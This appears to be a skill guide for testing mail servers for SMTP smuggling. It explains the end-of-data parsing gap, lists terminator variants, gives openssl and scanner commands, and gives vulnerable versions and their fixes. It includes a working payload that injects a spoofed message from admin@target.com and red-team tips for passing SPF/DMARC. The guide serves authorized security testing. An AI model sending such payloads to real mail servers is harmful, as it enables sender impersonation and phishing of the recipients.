SMTP Smuggling Testing

A skill for understanding and testing SMTP smuggling vulnerabilities in email infrastructure.

What is SMTP Smuggling?

SMTP smuggling exploits discrepancies in how SMTP servers interpret the end-of-data sequence in email messages. An attacker can craft a message that the outbound server sees as one email, but the inbound server interprets as multiple emails. This allows:

• Smuggling additional emails inside legitimate ones
• Bypassing SPF/DMARC checks (the sender domain remains valid)
• Impersonating other users from the same domain

When to Use This Skill

Use this skill when:

• Testing mail servers for SMTP protocol vulnerabilities
• Investigating email spoofing incidents
• Assessing email security posture
• Understanding how SMTP parsing discrepancies can be exploited
• Red teaming email infrastructure

Prerequisites

Before testing, ensure you have:

• Authorization to test the target SMTP servers
• Access to an outbound SMTP server (with valid credentials if needed)
• Knowledge of the target's receiving SMTP server
• Tools:

  openssl

  , Python, or specialized SMTP smuggling scanners

Core Concepts

The Vulnerability Mechanism

1. Outbound Server (A): Forwards a non-standard end-of-DATA sequence unchanged
2. Inbound Server (B): Interprets that sequence as end-of-DATA and parses what follows as new SMTP commands
3. The Gap: Different servers accept different terminators as valid end-of-data markers

Common End-of-DATA Variants to Test

\n.\n

\n.\r\n

\r.\r\n

\r\n.\r

Protocol Considerations

• DATA vs BDAT: Smuggling only works with

  DATA

  command. If the server uses

  BDAT

  (CHUNKING), the body is length-framed and prevents ambiguity.
• PIPELINING: Not required but helps hide injected commands in a single TCP write
• STARTTLS: Often needed for authenticated relays

Testing Methodology

Step 1: Enumerate SMTP Extensions

Check what extensions the target server supports:

openssl s_client -starttls smtp -connect smtp.target.com:587 -crlf
EHLO test.example.com

Look for:

• PIPELINING

  - helps with command injection

• CHUNKING

  or

  BDAT

  - if present, smuggling is harder
• Server banner and version

Step 2: Test End-of-DATA Acceptance

Use the provided scanner script to test which sequences the server accepts:

python3 scripts/smtp_smuggling_scanner.py \
  --server smtp.target.com \
  --port 587 \
  --test-sequences "n.n,n.rn,r.rn,rn.r"

Step 3: Manual Testing (Interactive)

For detailed analysis, use an interactive session:

openssl s_client -starttls smtp -crlf -connect smtp.target.com:587

Then send a test message with a non-standard terminator:

EHLO test.example.com
MAIL FROM:<test@example.com>
RCPT TO:<victim@target.com>
DATA
From: Test <test@example.com>
To: victim <victim@target.com>
Subject: Test

Test message
\n.\r\nMAIL FROM:<admin@target.com>
RCPT TO:<victim@target.com>
DATA
From: Admin <admin@target.com>
To: victim <victim@target.com>
Subject: Smuggled

Smuggled content
\r\n.\r\n

If the server accepts

\n.\r\n

Step 4: Verify Delivery

Check if the smuggled message was delivered:

• Monitor the target mailbox
• Check mail server logs
• Use a test account you control

Using the Scanner Scripts

Basic Scanner

python3 scripts/smtp_smuggling_scanner.py \
  --server mail.target.com \
  --port 25 \
  --recipient victim@target.com

Outbound Relay Testing

Test through a specific outbound server:

python3 scripts/smtp_smuggling_scanner.py \
  --server mail.target.com \
  --port 25 \
  --recipient victim@target.com \
  --outbound-server smtp.relay.com \
  --outbound-port 587 \
  --starttls \
  --username user@relay.com \
  --password 'your-password'

Available Scripts

smtp_smuggling_scanner.py

test_eom_sequences.py

Known Vulnerable Software

Postfix

• Vulnerable: Prior to 3.9 (default tolerated bare LFs)
• Mitigation: Enable

  smtpd_forbid_bare_newline = normalize

  or

  reject

• Fixed versions: 3.5.23, 3.6.13, 3.7.9, 3.8.4+

Exim

• Vulnerable: 4.97/4.96 (depending on PIPELINING/CHUNKING)
• Fixed: 4.97.1+

Sendmail

• Vulnerable: 8.17.x
• Fixed: 8.18+

Other

• aiosmtpd

  before 1.4.5
• Various vendor gateways and SaaS relays

Red Team Tips

1. Use commodity senders: Large providers (Exchange Online, shared hosts) often have valid SPF and may forward non-standard sequences
2. Check CHUNKING support: If missing, BDAT-first senders fall back to DATA, enabling smuggling
3. Monitor headers: Smuggled messages create separate

   Received

   chains starting at the inbound server
4. DMARC alignment: Often passes because MAIL FROM aligns with the outbound server's IP space

Safety and Ethics

⚠️ Important: Only test SMTP smuggling on systems you own or have explicit authorization to test. Unauthorized testing may:

• Violate computer crime laws
• Trigger security incidents
• Damage relationships with service providers

References

• Original Research
• Postfix SMTP Smuggling
• hannob/smtpsmug
• The-Login/SMTP-Smuggling-Tools

Troubleshooting

Connection Issues

• Ensure STARTTLS is supported if using port 587
• Check firewall rules for SMTP traffic
• Verify credentials for authenticated relays

No Smuggling Detected

• The server may enforce strict RFC compliance
• Try different end-of-data sequences
• Test through different outbound servers
• Check if CHUNKING is being used

False Positives

• Verify actual message delivery, not just acceptance
• Check mail logs for rejected messages
• Confirm the second message has a separate envelope